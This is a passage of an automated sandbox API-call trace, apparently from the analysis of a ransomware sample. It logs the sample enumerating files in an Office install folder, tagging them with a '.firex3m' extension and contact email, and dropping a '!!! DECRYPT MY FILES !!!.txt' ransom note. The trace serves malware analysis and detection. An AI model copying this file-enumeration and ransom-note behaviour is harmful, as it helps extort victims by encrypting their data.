ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd121c9ea, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0124.815] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll", len=0x4f | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 1 [0124.815] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll", cchLength=0x4f | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 0x4f [0124.815] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.815] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.815] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.815] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.815] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd139a18a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0124.815] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll", len=0x4f | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 1 [0124.815] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll", cchLength=0x4f | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 0x4f [0124.815] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.815] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.815] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.815] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.815] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd11d067c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0124.816] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll", len=0x4f | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 1 [0124.816] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll", cchLength=0x4f | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 0x4f [0124.816] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.816] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.816] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.816] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.816] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1078ffd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0124.816] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll", len=0x4d | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 1 [0124.816] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll", cchLength=0x4d | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 0x4d [0124.816] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.816] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.817] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.817] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.817] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd10c55e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0124.817] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll", len=0x4e | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 1 [0124.817] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll", cchLength=0x4e | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 0x4e [0124.818] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.818] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.818] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.818] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.818] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0f9426a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0124.818] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll", len=0x4c | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 1 [0124.818] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll", cchLength=0x4c | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 0x4c [0124.818] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.818] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.818] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.818] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.818] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b7fe91, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b7fe91, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1ec71c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0124.819] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll", len=0x4f | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 1 [0124.819] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll", cchLength=0x4f | out: lpsz="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll") returned 0x4f [0124.819] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.819] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.819] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.819] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.819] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b59cda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b59cda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f1370b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate32.exe", cAlternateFileName="APPVDL~2.EXE")) returned 1 [0124.819] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll", psz="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", len=0x44 | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe") returned 1 [0124.819] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe") returned 0x44 [0124.819] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.819] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0124.819] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0124.819] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0124.820] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebddac, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0124.820] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdda8, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0124.820] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeb14 | out: lpFindFileData=0x6ebeb14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x86813dc4, dwReserved1=0x1d327e7, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4ec0 [0124.820] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0124.820] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\client\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0128.596] GetProcessHeap () returned 0x630000 [0128.596] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd0) returned 0x66a3e0 [0128.597] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e2e85a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate64.exe", cAlternateFileName="APPVDL~1.EXE")) returned 1 [0128.597] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe", psz="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", len=0x44 | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 1 [0128.597] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe") returned 0x44 [0128.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0128.597] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0128.597] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0128.597] GetProcessHeap () returned 0x630000 [0128.597] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd4) returned 0x66a3e0 [0128.597] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0128.597] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0128.597] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0128.598] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0128.598] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e7acf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x69630, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVLP.exe", cAlternateFileName="")) returned 1 [0128.598] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe", psz="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", len=0x38 | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 1 [0128.598] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe", cchLength=0x38 | out: lpsz="c:\\program files\\microsoft office\\root\\client\\appvlp.exe") returned 0x38 [0128.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0128.598] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0128.598] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0128.598] GetProcessHeap () returned 0x630000 [0128.598] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xd8) returned 0x66a3e0 [0128.598] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0128.598] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0128.598] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd11f68b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd11f68b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd191da0e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0128.599] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\microsoft office\\root\\client\\appvlp.exe", psz="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll", len=0x3b | out: pbstr=0x6ebee08*="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll") returned 1 [0128.599] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll", 